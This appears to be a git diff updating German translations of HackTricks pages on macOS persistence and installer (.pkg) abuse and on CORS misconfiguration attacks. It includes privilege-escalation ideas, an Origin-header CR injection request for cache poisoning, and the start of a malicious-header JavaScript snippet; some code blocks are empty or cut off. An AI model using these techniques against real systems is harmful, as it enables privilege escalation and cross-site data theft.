+System Preferences > Users & Groups > Current User > Login Items
+```
+
+#### Browser Extensions
+
+Browser Extensions can also run automatically and impact browser performance. They are managed within the browser settings.
+
+#### Malware
+
+Malware can install persistence mechanisms in any of these locations to maintain a presence on the system.
+
{% endtab %}
```bash
#!/bin/sh
@@ -1629,12 +1624,12 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
#### Beschreibung & Exploit
-XQuartz ist **nicht mehr in macOS installiert**, daher finden Sie weitere Informationen im Writeup.
+XQuartz ist **nicht mehr in macOS installiert**, daher sollten Sie für weitere Informationen das Writeup überprüfen.
### ~~kext~~
{% hint style="danger" %}
-Es ist so kompliziert, ein kext selbst als Root zu installieren, dass ich dies nicht als Fluchtweg aus Sandboxes oder sogar für Persistenz betrachten werde (es sei denn, Sie haben einen Exploit).
+Es ist so kompliziert, ein kext selbst als Root zu installieren, dass ich dies nicht als Methode betrachten werde, um aus Sandboxes auszubrechen oder für Persistenz (es sei denn, Sie haben einen Exploit).
{% endhint %}
#### Standort
@@ -1658,7 +1653,7 @@ Für weitere Informationen zu [**Kernel-Erweiterungen siehe diesen Abschnitt**](
### ~~amstoold~~
-Bericht: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
+Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
#### Ort
@@ -1667,13 +1662,13 @@ Bericht: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.
#### Beschreibung & Ausnutzung
-Anscheinend wurde das `plist` von `/System/Library/LaunchAgents/com.apple.amstoold.plist` dieses Binär verwendet, während es einen XPC-Dienst freilegte... das Problem war, dass das Binär nicht existierte, also konnte man etwas dort platzieren und wenn der XPC-Dienst aufgerufen wird, wird Ihr Binär aufgerufen.
+Anscheinend wurde die `plist` von `/System/Library/LaunchAgents/com.apple.amstoold.plist` dieses Binär verwendet, während es einen XPC-Dienst freilegte... das Problem war, dass das Binär nicht existierte, also konnte man etwas dort platzieren und wenn der XPC-Dienst aufgerufen wird, wird Ihr Binär aufgerufen.
Ich kann das nicht mehr in meinem macOS finden.
### ~~xsanctl~~
-Bericht: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/)
+Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/)
#### Ort
@@ -1683,7 +1678,7 @@ Bericht: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
#### Beschreibung & Ausnutzung
-Anscheinend ist es nicht sehr üblich, dieses Skript auszuführen, und ich konnte es nicht einmal in meinem macOS finden, also wenn Sie mehr Informationen möchten, überprüfen Sie den Bericht.
+Anscheinend ist es nicht sehr üblich, dieses Skript auszuführen, und ich konnte es nicht einmal in meinem macOS finden, also wenn Sie mehr Informationen wünschen, lesen Sie den Writeup.
### ~~/etc/rc.common~~
@@ -1796,7 +1791,7 @@ esac
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
-* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
+* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md
index 79a9d16b1..680ae7d7c 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md
@@ -1,34 +1,34 @@
-# macOS Installationsmissbrauch
+# macOS Installers Missbrauch
-Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
+Erlernen Sie AWS-Hacking von Grund auf mithtARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
-- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
-- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
-- Entdecken Sie die PEASS-Familie, unsere Sammlung exklusiver NFTs
-- Treten Sie der Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter
-- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den HackTricks- und HackTricks Cloud-GitHub-Repositories einreichen.
+* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
+* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
+* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
-## Grundlegende Informationen zu Pkg
+## Pkg Grundlegende Informationen
-Ein macOS-Installationspaket (auch als `.pkg`-Datei bekannt) ist ein Dateiformat, das von macOS verwendet wird, um Software zu verteilen. Diese Dateien sind wie eine Box, die alles enthält, was eine Software zum Installieren und Ausführen benötigt.
+Ein macOS **Installationspaket** (auch bekannt als `.pkg`-Datei) ist ein Dateiformat, das von macOS verwendet wird, um **Software zu verteilen**. Diese Dateien sind wie eine **Box, die alles enthält, was eine Software** benötigt, um korrekt installiert und ausgeführt zu werden.
-Die Paketdatei selbst ist ein Archiv, das eine Hierarchie von Dateien und Verzeichnissen enthält, die auf dem Zielcomputer installiert werden sollen. Es kann auch Skripte enthalten, um Aufgaben vor und nach der Installation auszuführen, wie z.B. das Einrichten von Konfigurationsdateien oder das Bereinigen alter Versionen der Software.
+Die Paketdatei selbst ist ein Archiv, das eine **Hierarchie von Dateien und Verzeichnissen enthält, die auf dem Zielcomputer installiert werden sollen**. Es kann auch **Skripte** enthalten, um Aufgaben vor und nach der Installation auszuführen, wie z. B. das Einrichten von Konfigurationsdateien oder das Bereinigen alter Versionen der Software.
### Hierarchie
-- **Distribution (xml)**: Anpassungen (Titel, Willkommenstext...) und Skript/Installationsprüfungen
-- **PackageInfo (xml)**: Informationen, Installationsanforderungen, Installationsort, Pfade zu auszuführenden Skripten
-- **Bill of materials (bom)**: Liste der zu installierenden, zu aktualisierenden oder zu entfernenden Dateien mit Dateiberechtigungen
-- **Payload (CPIO-Archiv gzip-komprimiert)**: Dateien, die im `install-location` aus PackageInfo installiert werden sollen
-- **Skripte (CPIO-Archiv gzip-komprimiert)**: Vor- und Nachinstallations-Skripte und weitere Ressourcen, die zum Ausführen in ein temporäres Verzeichnis extrahiert werden.
+* **Distribution (xml)**: Anpassungen (Titel, Willkommensnachricht...) und Skript/Installationsprüfungen
+* **PackageInfo (xml)**: Informationen, Installationsanforderungen, Installationsort, Pfade zu auszuführenden Skripten
+* **Materialliste (bom)**: Liste der Dateien, die installiert, aktualisiert oder entfernt werden sollen, mit Dateiberechtigungen
+* **Payload (CPIO-Archiv gzip-komprimiert)**: Dateien, die im `install-location` aus PackageInfo installiert werden sollen
+* **Skripte (CPIO-Archiv gzip-komprimiert)**: Vor- und Nachinstallations-Skripte und weitere Ressourcen, die in ein temporäres Verzeichnis extrahiert werden, um ausgeführt zu werden.
### Dekomprimieren
```bash
@@ -44,71 +44,57 @@ xar -xf "/path/to/package.pkg"
cat Scripts | gzip -dc | cpio -i
cpio -i < Scripts
```
-## DMG Grundlegende Informationen
+Um den Inhalt des Installers ohne manuelles Entpacken zu visualisieren, können Sie auch das kostenlose Tool [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/) verwenden.
-DMG-Dateien oder Apple Disk Images sind ein Dateiformat, das von Apples macOS für Disk-Images verwendet wird. Eine DMG-Datei ist im Wesentlichen ein **einbindbares Disk-Image** (es enthält sein eigenes Dateisystem), das in der Regel komprimierte und manchmal verschlüsselte Rohblockdaten enthält. Wenn Sie eine DMG-Datei öffnen, mountet macOS sie wie eine physische Festplatte und ermöglicht Ihnen den Zugriff auf deren Inhalte.
+## DMG Grundinformationen
+
+DMG-Dateien oder Apple Disk Images sind ein Dateiformat, das von Apples macOS für Festplattenabbilder verwendet wird. Eine DMG-Datei ist im Wesentlichen ein **einbindbares Festplattenabbild** (es enthält sein eigenes Dateisystem), das in der Regel komprimierte und manchmal verschlüsselte Rohblockdaten enthält. Wenn Sie eine DMG-Datei öffnen, **bindet macOS sie ein, als ob es sich um eine physische Festplatte handeln würde**, und ermöglicht Ihnen den Zugriff auf deren Inhalt.
### Hierarchie
-Die Hierarchie einer DMG-Datei kann je nach Inhalt unterschiedlich sein. Bei Anwendungs-DMGs folgt sie jedoch in der Regel dieser Struktur:
+Die Hierarchie einer DMG-Datei kann je nach Inhalt unterschiedlich sein. Für Anwendungs-DMGs folgt sie jedoch in der Regel dieser Struktur:
-* Top-Level: Dies ist die Wurzel des Disk-Images. Es enthält oft die Anwendung und möglicherweise einen Link zum Ordner "Programme".
-* Anwendung (.app): Dies ist die eigentliche Anwendung. In macOS ist eine Anwendung in der Regel ein Paket, das viele einzelne Dateien und Ordner enthält, die die Anwendung ausmachen.
-* Anwendungslink: Dies ist eine Verknüpfung zum Ordner "Programme" in macOS. Der Zweck besteht darin, die Installation der Anwendung zu erleichtern. Sie können die .app-Datei zu dieser Verknüpfung ziehen, um die App zu installieren.
+* Top Level: Dies ist die Wurzel des Festplattenabbilds. Es enthält oft die Anwendung und möglicherweise einen Link zum Ordner "Programme".
+* Anwendung (.app): Dies ist die tatsächliche Anwendung. In macOS ist eine Anwendung in der Regel ein Paket, das viele einzelne Dateien und Ordner enthält, die die Anwendung ausmachen.
+* Anwendungslink: Dies ist eine Verknüpfung zum Ordner "Programme" in macOS. Der Zweck besteht darin, es Ihnen leicht zu machen, die Anwendung zu installieren. Sie können die .app-Datei zu dieser Verknüpfung ziehen, um die App zu installieren.
-## Privilege Escalation durch Missbrauch von pkg
+## Privilege Escalation durch pkg-Missbrauch
### Ausführung aus öffentlichen Verzeichnissen
-Wenn beispielsweise ein Vor- oder Nachinstallations-Skript aus **`/var/tmp/Installerutil`** ausgeführt wird und ein Angreifer dieses Skript kontrollieren kann, kann er Berechtigungen eskalieren, wann immer es ausgeführt wird. Oder ein ähnliches Beispiel:
+Wenn beispielsweise ein Vor- oder Nachinstallations-Skript aus **`/var/tmp/Installerutil`** ausgeführt wird und ein Angreifer dieses Skript kontrollieren könnte, könnte er Berechtigungen eskalieren, wann immer es ausgeführt wird. Oder ein ähnliches Beispiel:
### AuthorizationExecuteWithPrivileges
-Dies ist eine [öffentliche Funktion](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg), die von mehreren Installationsprogrammen und Updatern aufgerufen wird, um etwas als Root auszuführen. Diese Funktion akzeptiert den **Pfad** der **Datei**, die als Parameter **ausgeführt** werden soll. Wenn ein Angreifer jedoch diese Datei **ändern** kann, kann er ihre Ausführung mit Root-Rechten **missbrauchen**, um Berechtigungen zu eskalieren.
+Dies ist eine [öffentliche Funktion](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg), die von mehreren Installationsprogrammen und Updatern aufgerufen wird, um etwas als Root auszuführen. Diese Funktion akzeptiert den **Pfad** der **Datei**, die als Parameter **ausgeführt** werden soll. Wenn ein Angreifer jedoch diese Datei **ändern** könnte, könnte er deren Ausführung mit Root-Rechten **missbrauchen**, um Berechtigungen zu **eskalierten**.
```bash
# Breakpoint in the function to check wich file is loaded
(lldb) b AuthorizationExecuteWithPrivileges
# You could also check FS events to find this missconfig
```
-Für weitere Informationen schauen Sie sich diesen Vortrag an: [https://www.youtube.com/watch?v=lTOItyjTTkw](https://www.youtube.com/watch?v=lTOItyjTTkw)
+### Ausführung durch Einhängen
-### Ausführung durch Mounting
+Wenn ein Installer nach `/tmp/fixedname/bla/bla` schreibt, ist es möglich, ein **Mount** über `/tmp/fixedname` ohne Besitzer zu erstellen, um während der Installation **beliebige Dateien zu modifizieren** und den Installationsprozess zu missbrauchen.
-Wenn ein Installer in `/tmp/fixedname/bla/bla` schreibt, ist es möglich, einen **Mount** über `/tmp/fixedname` ohne Besitzer zu erstellen, sodass Sie während der Installation **beliebige Dateien ändern** können, um den Installationsprozess zu missbrauchen.
-
-Ein Beispiel dafür ist **CVE-2021-26089**, bei dem es gelungen ist, ein periodisches Skript zu überschreiben, um als Root ausgeführt zu werden. Für weitere Informationen werfen Sie einen Blick auf den Vortrag: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
+Ein Beispiel hierfür ist **CVE-2021-26089**, bei dem es gelungen ist, ein periodisches Skript zu überschreiben, um die Ausführung als Root zu erlangen. Für weitere Informationen siehe den Vortrag: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
## pkg als Malware
### Leerer Payload
-Es ist möglich, eine **`.pkg`**-Datei nur mit **vor- und nachinstallierten Skripten** ohne Payload zu generieren.
+Es ist möglich, einfach eine **`.pkg`**-Datei mit **Vor- und Nachinstallations-Skripten** ohne Payload zu generieren.
-### JS in Distribution xml
+### JS in Distribution-XML
-Es ist möglich, **`
```
-### Ausnutzung des `null` Ursprungs
+### Ausnutzen des `null` Ursprungs
-Der `null` Ursprung, der für Situationen wie Weiterleitungen oder lokale HTML-Dateien angegeben wird, hat eine einzigartige Position. Einige Anwendungen whitelisten diesen Ursprung, um die lokale Entwicklung zu erleichtern, und ermöglichen so versehentlich jeder Website, einen `null` Ursprung durch ein sandboxed iframe zu imitieren und dadurch die CORS-Beschränkungen zu umgehen.
+Der `null` Ursprung, der für Situationen wie Weiterleitungen oder lokale HTML-Dateien spezifiziert ist, nimmt eine einzigartige Position ein. Einige Anwendungen setzen diesen Ursprung auf die Whitelist, um die lokale Entwicklung zu erleichtern, wodurch sie unbeabsichtigt jeder Website ermöglichen, einen `null` Ursprung durch ein sandboxed iframe zu imitieren und somit die CORS-Beschränkungen zu umgehen.
```html
```
-### Bypass-Techniken für reguläre Ausdrücke
+### Reguläre Ausdruck-Bypass-Techniken
-Wenn Sie auf eine Domain-Whitelist stoßen, ist es entscheidend, nach Umgehungsmöglichkeiten zu suchen, z. B. das Anhängen der Angreiferdomain an eine in der Whitelist enthaltene Domain oder die Ausnutzung von Schwachstellen bei der Übernahme von Subdomains. Darüber hinaus können bei der Domänenvalidierung verwendete reguläre Ausdrücke Nuancen in den Domänennamenskonventionen übersehen und weitere Umgehungsmöglichkeiten bieten.
+Beim Auffinden einer Domain-Whitelist ist es entscheidend, nach Bypass-Möglichkeiten zu testen, wie z.B. das Anhängen der Angreiferdomain an eine whitelisted Domain oder die Ausnutzung von Subdomain-Übernahme-Schwachstellen. Darüber hinaus können bei der Verwendung von regulären Ausdrücken zur Domänenvalidierung Nuancen in den Domänennamenskonventionen übersehen werden, was weitere Bypass-Möglichkeiten bietet.
-### Fortgeschrittene Bypass-Techniken für reguläre Ausdrücke
+### Fortgeschrittene Reguläre Ausdruck-Bypasses
-Reguläre Ausdrücke konzentrieren sich in der Regel auf alphanumerische Zeichen, Punkt (.), und Bindestrich (-), wobei andere Möglichkeiten vernachlässigt werden. Zum Beispiel kann ein Domänenname, der Zeichen enthält, die von Browsern und regulären Ausdrücken unterschiedlich interpretiert werden, Sicherheitsprüfungen umgehen. Die Handhabung von Unterstrichzeichen in Subdomains durch Safari, Chrome und Firefox veranschaulicht, wie solche Unterschiede ausgenutzt werden können, um die Logik der Domänenvalidierung zu umgehen.
+RegEx-Muster konzentrieren sich typischerweise auf alphanumerische, Punkt (.) und Bindestrich (-) Zeichen und vernachlässigen andere Möglichkeiten. Zum Beispiel kann ein Domainname so gestaltet sein, dass er Zeichen enthält, die von Browsern und RegEx-Mustern unterschiedlich interpretiert werden und Sicherheitsüberprüfungen umgehen können. Safaris, Chromes und Firefox' Umgang mit Unterstrichzeichen in Subdomains zeigt, wie solche Unterschiede ausgenutzt werden können, um die Domänenvalidierungslogik zu umgehen.
-**Weitere Informationen und Einstellungen für diesen Bypass finden Sie unter:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **und** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
+**Für weitere Informationen und Einstellungen zu diesem Bypass-Check:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **und** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
-![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
+![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
### Von XSS innerhalb einer Subdomain
-Entwickler implementieren oft Abwehrmechanismen, um sich vor CORS-Exploitation zu schützen, indem sie Domains in die Whitelist aufnehmen, die berechtigt sind, Informationen anzufordern. Trotz dieser Vorsichtsmaßnahmen ist die Sicherheit des Systems nicht narrensicher. Das Vorhandensein auch nur einer verwundbaren Subdomain innerhalb der in der Whitelist enthaltenen Domains kann die Tür zur CORS-Exploitation durch andere Schwachstellen wie XSS (Cross-Site Scripting) öffnen.
+Entwickler implementieren oft Abwehrmechanismen, um sich gegen CORS-Exploits zu schützen, indem sie Domains auf diejenigen beschränken, die berechtigt sind, Informationen anzufordern. Trotz dieser Vorsichtsmaßnahmen ist die Sicherheit des Systems nicht narrensicher. Das Vorhandensein auch nur einer anfälligen Subdomain innerhalb der whitelisted Domains kann die Tür zu CORS-Exploits durch andere Schwachstellen wie XSS (Cross-Site Scripting) öffnen.
-Um dies zu veranschaulichen, betrachten Sie das Szenario, in dem die Domain `requester.com` in der Whitelist steht und auf Ressourcen einer anderen Domain, `provider.com`, zugreifen darf. Die serverseitige Konfiguration könnte wie folgt aussehen:
+Um dies zu veranschaulichen, betrachten Sie das Szenario, in dem eine Domain, `requester.com`, berechtigt ist, Ressourcen von einer anderen Domain, `provider.com`, abzurufen. Die serverseitige Konfiguration könnte wie folgt aussehen:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
@@ -217,42 +206,40 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access
}
```
-In dieser Konfiguration haben alle Subdomains von `requester.com` Zugriff. Wenn jedoch eine Subdomain, z.B. `sub.requester.com`, durch eine XSS-Schwachstelle kompromittiert wird, kann ein Angreifer diese Schwachstelle ausnutzen. Ein Angreifer mit Zugriff auf `sub.requester.com` könnte beispielsweise die XSS-Schwachstelle ausnutzen, um die CORS-Richtlinien zu umgehen und böswillig auf Ressourcen auf `provider.com` zuzugreifen.
-
+In diesem Setup haben alle Subdomains von `requester.com` Zugriff. Wenn jedoch eine Subdomain, z. B. `sub.requester.com`, durch eine XSS-Schwachstelle kompromittiert wird, kann ein Angreifer diese Schwachstelle ausnutzen. Ein Angreifer mit Zugriff auf `sub.requester.com` könnte beispielsweise die XSS-Schwachstelle ausnutzen, um CORS-Richtlinien zu umgehen und böswillig auf Ressourcen auf `provider.com` zuzugreifen.
### **Serverseitige Cache-Vergiftung**
-**[Aus dieser Forschung](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
+[**Aus dieser Forschung**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
-Es ist möglich, dass durch Ausnutzung einer serverseitigen Cache-Vergiftung durch HTTP-Header-Injektion eine gespeicherte Cross-Site-Scripting (XSS)-Schwachstelle verursacht wird. Dieses Szenario tritt auf, wenn eine Anwendung den `Origin`-Header nicht auf illegale Zeichen überprüft und somit eine Schwachstelle insbesondere für Internet Explorer- und Edge-Benutzer entsteht. Diese Browser behandeln `\r` (0x0d) als legitimen HTTP-Header-Terminator, was zu HTTP-Header-Injektionsschwachstellen führt.
+Es ist möglich, dass durch Ausnutzen einer serverseitigen Cache-Vergiftung durch HTTP-Header-Injektion eine gespeicherte Cross-Site-Scripting (XSS)-Schwachstelle induziert werden kann. Dieses Szenario entfaltet sich, wenn eine Anwendung den `Origin`-Header nicht auf illegale Zeichen bereinigt, was insbesondere für Internet Explorer- und Edge-Benutzer eine Schwachstelle schafft. Diese Browser behandeln (0x0d) als legitimen HTTP-Header-Terminator, was zu HTTP-Header-Injektionsschwachstellen führt.
Betrachten Sie die folgende Anfrage, bei der der `Origin`-Header manipuliert wird:
-```text
+```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
-Internet Explorer und Edge interpretieren die Antwort wie folgt:
-```text
+Internet Explorer und Edge interpretieren die Antwort als:
+```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
-Während es nicht möglich ist, diese Schwachstelle direkt auszunutzen, indem man einen Webbrowser dazu bringt, einen fehlerhaften Header zu senden, kann eine manipulierte Anfrage manuell mit Tools wie Burp Suite generiert werden. Diese Methode könnte dazu führen, dass der Server-Cache die Antwort speichert und sie versehentlich anderen Benutzern zur Verfügung stellt. Das manipulierte Payload zielt darauf ab, den Zeichensatz der Seite in UTF-7 zu ändern, eine Zeichencodierung, die aufgrund ihrer Fähigkeit, Zeichen auf eine Weise zu kodieren, die in bestimmten Kontexten als Skript ausgeführt werden kann, oft mit XSS-Schwachstellen in Verbindung gebracht wird.
+Während es nicht machbar ist, diese Schwachstelle direkt auszunutzen, indem ein Webbrowser einen fehlerhaften Header sendet, kann eine manipulierte Anfrage manuell mithilfe von Tools wie Burp Suite generiert werden. Diese Methode könnte dazu führen, dass ein serverseitiger Cache die Antwort speichert und sie unbeabsichtigt an andere weitergibt. Das manipulierte Payload zielt darauf ab, den Zeichensatz der Seite auf UTF-7 zu ändern, eine Zeichenkodierung, die häufig mit XSS-Schwachstellen in Verbindung gebracht wird, da sie Zeichen auf eine Weise kodieren kann, die in bestimmten Kontexten als Skript ausgeführt werden kann.
Für weitere Informationen zu gespeicherten XSS-Schwachstellen siehe [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
-**Hinweis**: Die Ausnutzung von Schwachstellen bei der HTTP-Header-Injektion, insbesondere durch Server-Cache-Vergiftung, unterstreicht die entscheidende Bedeutung der Validierung und Bereinigung aller vom Benutzer bereitgestellten Eingaben, einschließlich der HTTP-Header. Verwenden Sie immer ein robustes Sicherheitsmodell, das eine Eingabevalidierung umfasst, um solche Schwachstellen zu verhindern.
+**Hinweis**: Die Ausnutzung von HTTP-Header-Injektionsschwachstellen, insbesondere durch serverseitiges Caching-Vergiften, unterstreicht die entscheidende Bedeutung der Validierung und Säuberung aller vom Benutzer bereitgestellten Eingaben, einschließlich der HTTP-Header. Verwenden Sie immer ein robustes Sicherheitsmodell, das eine Eingabevalidierung umfasst, um solche Schwachstellen zu verhindern.
+### **Clientseitiges Caching-Vergiften**
-### **Clientseitige Cache-Vergiftung**
+[**Aus dieser Forschung**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
-**[Aus dieser Forschung](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
+In diesem Szenario wird eine Instanz einer Webseite beobachtet, die den Inhalt eines benutzerdefinierten HTTP-Headers ohne ordnungsgemäße Codierung widerspiegelt. Konkret spiegelt die Webseite den Inhalt eines `X-User-id`-Headers zurück, der bösartiges JavaScript enthalten könnte, wie im Beispiel gezeigt, in dem der Header ein SVG-Bildtag enthält, das darauf ausgelegt ist, beim Laden JavaScript-Code auszuführen.
-In diesem Szenario wird eine Instanz einer Webseite beobachtet, die den Inhalt eines benutzerdefinierten HTTP-Headers ohne ordnungsgemäße Codierung widerspiegelt. Konkret spiegelt die Webseite den Inhalt des `X-User-id`-Headers zurück, der bösartiges JavaScript enthalten könnte, wie im Beispiel gezeigt, in dem der Header ein SVG-Bild-Tag enthält, das beim Laden JavaScript-Code ausführt.
+Cross-Origin Resource Sharing (CORS)-Richtlinien ermöglichen das Senden von benutzerdefinierten Headern. Ohne dass die Antwort aufgrund von CORS-Beschränkungen direkt vom Browser gerendert wird, könnte die Nützlichkeit einer solchen Injektion begrenzt erscheinen. Der kritische Punkt ergibt sich beim Betrachten des Cache-Verhaltens des Browsers. Wenn der `Vary: Origin`-Header nicht angegeben ist, wird es möglich, dass die bösartige Antwort vom Browser zwischengespeichert wird. Anschließend könnte diese zwischengespeicherte Antwort direkt gerendert werden, wenn die URL aufgerufen wird, ohne dass eine direkte Rendervorgang bei der ursprünglichen Anfrage erforderlich ist. Dieser Mechanismus verbessert die Zuverlässigkeit des Angriffs durch Nutzung des clientseitigen Cachings.
-Cross-Origin Resource Sharing (CORS)-Richtlinien ermöglichen das Senden von benutzerdefinierten Headern. Ohne dass die Antwort aufgrund von CORS-Beschränkungen direkt vom Browser gerendert wird, scheint der Nutzen einer solchen Injektion begrenzt zu sein. Der entscheidende Punkt ergibt sich jedoch, wenn das Cache-Verhalten des Browsers berücksichtigt wird. Wenn der `Vary: Origin`-Header nicht angegeben ist, kann die bösartige Antwort vom Browser zwischengespeichert werden. Anschließend kann diese zwischengespeicherte Antwort direkt gerendert werden, wenn die URL aufgerufen wird, ohne dass eine direkte Renderng bei der ursprünglichen Anfrage erforderlich ist. Dieser Mechanismus erhöht die Zuverlässigkeit des Angriffs durch die Nutzung des clientseitigen Cachings.
-
-Um diesen Angriff zu veranschaulichen, wird ein JavaScript-Beispiel bereitgestellt, das in der Umgebung einer Webseite ausgeführt werden soll, z.B. über ein JSFiddle. Dieses Skript führt eine einfache Aktion aus: Es sendet eine Anfrage an eine angegebene URL mit einem benutzerdefinierten Header, der das bösartige JavaScript enthält. Nach erfolgreicher Anfrage versucht es, zur Ziel-URL zu navigieren und löst dabei möglicherweise die Ausführung des injizierten Skripts aus, wenn die Antwort zwischengespeichert wurde und der `Vary: Origin`-Header nicht ordnungsgemäß behandelt wurde.
+Um diesen Angriff zu veranschaulichen, wird ein JavaScript-Beispiel bereitgestellt, das darauf ausgelegt ist, in der Umgebung einer Webseite ausgeführt zu werden, beispielsweise über ein JSFiddle. Dieses Skript führt eine einfache Aktion aus: Es sendet eine Anfrage an eine angegebene URL mit einem benutzerdefinierten Header, der das bösartige JavaScript enthält. Nach erfolgreicher Anfrage versucht es, zur Ziel-URL zu navigieren, was potenziell die Ausführung des injizierten Skripts auslösen könnte, wenn die Antwort zwischengespeichert wurde, ohne eine ordnungsgemäße Behandlung des `Vary: Origin`-Headers.
Hier ist eine zusammengefasste Aufschlüsselung des verwendeten JavaScripts, um diesen Angriff auszuführen:
```html
@@ -266,33 +253,32 @@ req.setRequestHeader("X-Custom-Header", "